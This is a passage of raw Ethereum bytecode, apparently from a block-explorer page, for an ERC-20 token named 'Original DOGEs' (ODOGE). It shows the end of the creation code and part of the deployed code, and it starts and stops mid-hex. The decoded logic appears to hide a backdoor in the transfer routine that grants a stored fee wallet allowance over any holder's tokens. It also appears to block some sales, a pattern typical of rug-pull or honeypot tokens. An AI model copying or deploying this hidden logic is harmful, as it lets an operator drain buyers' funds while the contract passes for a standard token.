1614155b801561142157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117b9575f6011540361146e5761146b606461145d600d546011541161144a5760095461144e565b600b545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b5f60115411156114a3576114a060646114926010548561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561154c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561159f575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115fa576115e060646115d2600d54601154116115bf576009546115c3565b600b545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b905060115f8154809291906115f490612e0c565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561168257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116c6576116c360646116b5600e54601154116116a257600a546116a6565b600c545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b5f6116d030610c3b565b9050601360159054906101000a900460ff1615801561173b575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117535750601360169054906101000a900460ff165b80156117625750600f54601154115b156117b75760075481111561178f5761178e6117898461178484600854612240565b612240565b611e0f565b5b6117984761207a565b60145f8154809291906117aa90612e0c565b9190505550436015819055505b505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611862575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611afd575f600267ffffffffffffffff81111561188357611882612e53565b5b6040519080825280602002602001820160405280156118b15781602001602082028036833780820191505090505b50905030816001815181106118c9576118c8612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561196d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119919190612a8f565b815f815181106119a4576119a3612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600267ffffffffffffffff8111156119fa576119f9612e53565b5b604051908082528060200260200182016040528015611a285781602001602082028036833780820191505090505b50905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f68022b1c8c1227a00000846040518363ffffffff1660e01b8152600401611a90929190612f9d565b5f60405180830381865afa158015611aaa573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611ad291906130de565b905080600181518110611ae857611ae7612e80565b5b60200260200101518410611afa575f80fd5b50505b5f811115611bfc57611b558160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bf39190612696565b60405180910390a35b611c4c8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122b590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cef611ca382846122b590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d9284866122b590919063ffffffff16565b604051611d9f9190612696565b60405180910390a350505050565b5f838311158290611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9190612558565b60405180910390fd5b505f8385611e029190613125565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611e4657611e45612e53565b5b604051908082528060200260200182016040528015611e745781602001602082028036833780820191505090505b50905030815f81518110611e8b57611e8a612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f539190612a8f565b81600181518110611f6757611f66612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fcd3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ce565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161202f959493929190613158565b5f604051808303815f87803b158015612046575f80fd5b505af1158015612058573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156120de573d5f803e3d5ffd5b5050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361211f5760019050612179565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361215b5760019050612179565b5f820361216b5760019050612179565b6121768484846122fe565b90505b9392505050565b5f808303612190575f90506121f1565b5f828461219d9190612a3a565b90508284826121ac91906131dd565b146121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39061327d565b60405180910390fd5b809150505b92915050565b5f61223883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061246d565b905092915050565b5f81831161224e5782612250565b815b905092915050565b5f808284612266919061329b565b9050838110156122ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a290613318565b60405180910390fd5b8091505092915050565b5f6122f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dad565b905092915050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123e0575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123df575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b5b15612463578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f90509392505050565b5f80831182906124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124aa9190612558565b60405180910390fd5b505f83856124c191906131dd565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156125055780820151818401526020810190506124ea565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61252a826124ce565b61253481856124d8565b93506125448185602086016124e8565b61254d81612510565b840191505092915050565b5f6020820190508181035f8301526125708184612520565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125b282612589565b9050919050565b6125c2816125a8565b81146125cc575f80fd5b50565b5f813590506125dd816125b9565b92915050565b5f819050919050565b6125f5816125e3565b81146125ff575f80fd5b50565b5f81359050612610816125ec565b92915050565b5f806040838503121561262c5761262b612581565b5b5f612639858286016125cf565b925050602061264a85828601612602565b9150509250929050565b5f8115159050919050565b61266881612654565b82525050565b5f6020820190506126815f83018461265f565b92915050565b612690816125e3565b82525050565b5f6020820190506126a95f830184612687565b92915050565b5f805f606084860312156126c6576126c5612581565b5b5f6126d3868287016125cf565b93505060206126e4868287016125cf565b92505060406126f586828701612602565b9150509250925092565b5f60ff82169050919050565b612714816126ff565b82525050565b5f60208201905061272d5f83018461270b565b92915050565b5f6020828403121561274857612747612581565b5b5f612755848285016125cf565b91505092915050565b612767816125a8565b82525050565b5f6020820190506127805f83018461275e565b92915050565b5f806040838503121561279c5761279b612581565b5b5f6127a9858286016125cf565b92505060206127ba858286016125cf565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127f86020836124d8565b9150612803826127c4565b602082019050919050565b5f6020820190508181035f830152612825816127ec565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6128606017836124d8565b915061286b8261282c565b602082019050919050565b5f6020820190508181035f83015261288d81612854565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612916578086048111156128f2576128f1612894565b5b60018516156129015780820291505b808102905061290f856128c1565b94506128d6565b94509492505050565b5f8261292e57600190506129e9565b8161293b575f90506129e9565b8160018114612951576002811461295b5761298a565b60019150506129e9565b60ff84111561296d5761296c612894565b5b8360020a91508482111561298457612983612894565b5b506129e9565b5060208310610133831016604e8410600b84101617156129bf5782820a9050838111156129ba576129b9612894565b5b6129e9565b6129cc84848460016128cd565b925090508184048111156129e3576129e2612894565b5b81810290505b9392505050565b5f6129fa826125e3565b9150612a05836126ff565b9250612a327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461291f565b905092915050565b5f612a44826125e3565b9150612a4f836125e3565b9250828202612a5d816125e3565b91508282048414831517612a7457612a73612894565b5b5092915050565b5f81519050612a89816125b9565b92915050565b5f60208284031215612aa457612aa3612581565b5b5f612ab184828501612a7b565b91505092915050565b5f604082019050612acd5f83018561275e565b612ada602083018461275e565b9392505050565b5f819050919050565b5f819050919050565b5f612b0d612b08612b0384612ae1565b612aea565b6125e3565b9050919050565b612b1d81612af3565b82525050565b5f60c082019050612b365f83018961275e565b612b436020830188612687565b612b506040830187612b14565b612b5d6060830186612b14565b612b6a608083018561275e565b612b7760a0830184612687565b979650505050505050565b5f81519050612b90816125ec565b92915050565b5f805f60608486031215612bad57612bac612581565b5b5f612bba86828701612b82565b9350506020612bcb86828701612b82565b9250506040612bdc86828701612b82565b9150509250925092565b5f604082019050612bf95f83018561275e565b612c066020830184612687565b9392505050565b612c1681612654565b8114612c20575f80fd5b50565b5f81519050612c3181612c0d565b92915050565b5f60208284031215612c4c57612c4b612581565b5b5f612c5984828501612c23565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612cbc6024836124d8565b9150612cc782612c62565b604082019050919050565b5f6020820190508181035f830152612ce981612cb0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d4a6022836124d8565b9150612d5582612cf0565b604082019050919050565b5f6020820190508181035f830152612d7781612d3e565b9050919050565b7f45524332303a20756e61626c6520746f207472616e7366657220746f207a65725f8201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b5f612dd86029836124d8565b9150612de382612d7e565b604082019050919050565b5f6020820190508181035f830152612e0581612dcc565b9050919050565b5f612e16826125e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e4857612e47612894565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f612ed0612ecb612ec684612ead565b612aea565b6125e3565b9050919050565b612ee081612eb6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612f18816125a8565b82525050565b5f612f298383612f0f565b60208301905092915050565b5f602082019050919050565b5f612f4b82612ee6565b612f558185612ef0565b9350612f6083612f00565b805f5b83811015612f90578151612f778882612f1e565b9750612f8283612f35565b925050600181019050612f63565b5085935050505092915050565b5f604082019050612fb05f830185612ed7565b8181036020830152612fc28184612f41565b90509392505050565b5f80fd5b612fd882612510565b810181811067ffffffffffffffff82111715612ff757612ff6612e53565b5b80604052505050565b5f613009612578565b90506130158282612fcf565b919050565b5f67ffffffffffffffff82111561303457613033612e53565b5b602082029050602081019050919050565b5f80fd5b5f61305b6130568461301a565b613000565b9050808382526020820190506020840283018581111561307e5761307d613045565b5b835b818110156130a757806130938882612b82565b845260208401935050602081019050613080565b5050509392505050565b5f82601f8301126130c5576130c4612fcb565b5b81516130d5848260208601613049565b91505092915050565b5f602082840312156130f3576130f2612581565b5b5f82015167ffffffffffffffff8111156131105761310f612585565b5b61311c848285016130b1565b91505092915050565b5f61312f826125e3565b915061313a836125e3565b925082820390508181111561315257613151612894565b5b92915050565b5f60a08201905061316b5f830188612687565b6131786020830187612b14565b818103604083015261318a8186612f41565b9050613199606083018561275e565b6131a66080830184612687565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6131e7826125e3565b91506131f2836125e3565b925082613202576132016131b0565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132676021836124d8565b91506132728261320d565b604082019050919050565b5f6020820190508181035f8301526132948161325b565b9050919050565b5f6132a5826125e3565b91506132b0836125e3565b92508282019050808211156132c8576132c7612894565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613302601b836124d8565b915061330d826132ce565b602082019050919050565b5f6020820190508181035f83015261332f816132f6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f9c06e2d17c80d39c36ce488f367dc89ae07521eca2fa57d93749e5ea7892edf64736f6c63430008180033

Deployed Bytecode

0x608060405260043610610122575f3560e01c8063715018a61161009f57806395d89b411161006357806395d89b4114610387578063a9059cbb146103b1578063bf474bed146103ed578063dd62ed3e14610417578063f42938901461045357610129565b8063715018a6146102dd578063751039fc146102f35780637d1db4a5146103095780638da5cb5b146103335780638f9a55c01461035d57610129565b806323b872dd116100e657806323b872dd146101fd578063313ce567146102395780634bd6ec391461026357806351bc3c851461028b57806370a08231146102a157610129565b806306ab31421461012d57806306fdde0314610143578063095ea7b31461016d5780630faee56f146101a957806318160ddd146101d357610129565b3661012957005b5f80fd5b348015610138575f80fd5b50610141610469565b005b34801561014e575f80fd5b5061015761098b565b6040516101649190612558565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e9190612616565b6109c8565b6040516101a0919061266e565b60405180910390f35b3480156101b4575f80fd5b506101bd6109e5565b6040516101ca9190612696565b60405180910390f35b3480156101de575f80fd5b506101e76109eb565b6040516101f49190612696565b60405180910390f35b348015610208575f80fd5b50610223600480360381019061021e91906126af565b610a0e565b604051610230919061266e565b60405180910390f35b348015610244575f80fd5b5061024d610ae2565b60405161025a919061271a565b60405180910390f35b34801561026e575f80fd5b5061028960048036038101906102849190612733565b610aea565b005b348015610296575f80fd5b5061029f610b8c565b005b3480156102ac575f80fd5b506102c760048036038101906102c29190612733565b610c3b565b6040516102d49190612696565b60405180910390f35b3480156102e8575f80fd5b506102f1610c81565b005b3480156102fe575f80fd5b50610307610dcf565b005b348015610314575f80fd5b5061031d610f05565b60405161032a9190612696565b60405180910390f35b34801561033e575f80fd5b50610347610f0b565b604051610354919061276d565b60405180910390f35b348015610368575f80fd5b50610371610f32565b60405161037e9190612696565b60405180910390f35b348015610392575f80fd5b5061039b610f38565b6040516103a89190612558565b60405180910390f35b3480156103bc575f80fd5b506103d760048036038101906103d29190612616565b610f75565b6040516103e4919061266e565b60405180910390f35b3480156103f8575f80fd5b50610401610f92565b60405161040e9190612696565b60405180910390f35b348015610422575f80fd5b5061043d60048036038101906104389190612786565b610f98565b60405161044a9190612696565b60405180910390f35b34801561045e575f80fd5b5061046761101a565b005b6104716110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f49061280e565b60405180910390fd5b601360149054906101000a900460ff161561054d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054490612876565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105e93060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6105d591906129f0565b633b9aca006105e49190612a3a565b6110ce565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610653573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106779190612a8f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107219190612a8f565b6040518363ffffffff1660e01b815260040161073e929190612aba565b6020604051808303815f875af115801561075a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077e9190612a8f565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061080530610c3b565b5f8061080f610f0b565b426040518863ffffffff1660e01b815260040161083196959493929190612b23565b60606040518083038185885af115801561084d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108729190612b96565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610912929190612be6565b6020604051808303815f875af115801561092e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109529190612c37565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b60606040518060400160405280600e81526020017f4f726967696e616c20444f474573000000000000000000000000000000000000815250905090565b5f6109db6109d46110c7565b84846110ce565b6001905092915050565b60085481565b5f6009600a6109fa91906129f0565b633b9aca00610a099190612a3a565b905090565b5f610a1a848484611291565b610ad784610a266110c7565b610ad2856040518060600160405280602881526020016133376028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a896110c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611dad9092919063ffffffff16565b6110ce565b600190509392505050565b5f6009905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b2a6110c7565b73ffffffffffffffffffffffffffffffffffffffff1614610b49575f80fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bcc6110c7565b73ffffffffffffffffffffffffffffffffffffffff1614610beb575f80fd5b5f610bf530610c3b565b90505f81118015610c125750601360169054906101000a900460ff165b15610c2157610c2081611e0f565b5b5f4790505f811115610c3757610c368161207a565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c896110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c9061280e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd76110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a9061280e565b60405180910390fd5b6009600a610e7191906129f0565b633b9aca00610e809190612a3a565b6005819055505f6010819055506009600a610e9b91906129f0565b633b9aca00610eaa9190612a3a565b6006819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610edf91906129f0565b633b9aca00610eee9190612a3a565b604051610efb9190612696565b60405180910390a1565b60055481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60065481565b60606040518060400160405280600581526020017f4f444f4745000000000000000000000000000000000000000000000000000000815250905090565b5f610f88610f816110c7565b8484611291565b6001905092915050565b60075481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6110226110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a59061280e565b60405180910390fd5b5f4790505f8111156110c4576110c38161207a565b5b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390612cd2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612d60565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112849190612696565b60405180910390a3505050565b5f151561129f8484846120e2565b1515146112e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d890612dee565b60405180910390fd5b5f6112ea610f0b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113585750611328610f0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113b1575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113e957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561142157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117b9575f6011540361146e5761146b606461145d600d546011541161144a5760095461144e565b600b545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b5f60115411156114a3576114a060646114926010548561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561154c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561159f575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115fa576115e060646115d2600d54601154116115bf576009546115c3565b600b545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b905060115f8154809291906115f490612e0c565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561168257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116c6576116c360646116b5600e54601154116116a257600a546116a6565b600c545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b5f6116d030610c3b565b9050601360159054906101000a900460ff1615801561173b575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117535750601360169054906101000a900460ff165b80156117625750600f54601154115b156117b75760075481111561178f5761178e6117898461178484600854612240565b612240565b611e0f565b5b6117984761207a565b60145f8154809291906117aa90612e0c565b9190505550436015819055505b505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611862575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611afd575f600267ffffffffffffffff81111561188357611882612e53565b5b6040519080825280602002602001820160405280156118b15781602001602082028036833780820191505090505b50905030816001815181106118c9576118c8612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561196d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119919190612a8f565b815f815181106119a4576119a3612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600267ffffffffffffffff8111156119fa576119f9612e53565b5b604051908082528060200260200182016040528015611a285781602001602082028036833780820191505090505b50905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f68022b1c8c1227a00000846040518363ffffffff1660e01b8152600401611a90929190612f9d565b5f60405180830381865afa158015611aaa573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611ad291906130de565b905080600181518110611ae857611ae7612e80565b5b60200260200101518410611afa575f80fd5b50505b5f811115611bfc57611b558160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bf39190612696565b60405180910390a35b611c4c8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122b590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cef611ca382846122b590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d9284866122b590919063ffffffff16565b604051611d9f9190612696565b60405180910390a350505050565b5f838311158290611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9190612558565b60405180910390fd5b505f8385611e029190613125565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611e4657611e45612e53565b5b604051908082528060200260200182016040528015611e745781602001602082028036833780820191505090505b50905030815f81518110611e8b57611e8a612e80565b5b602002602001019073ffffffffffff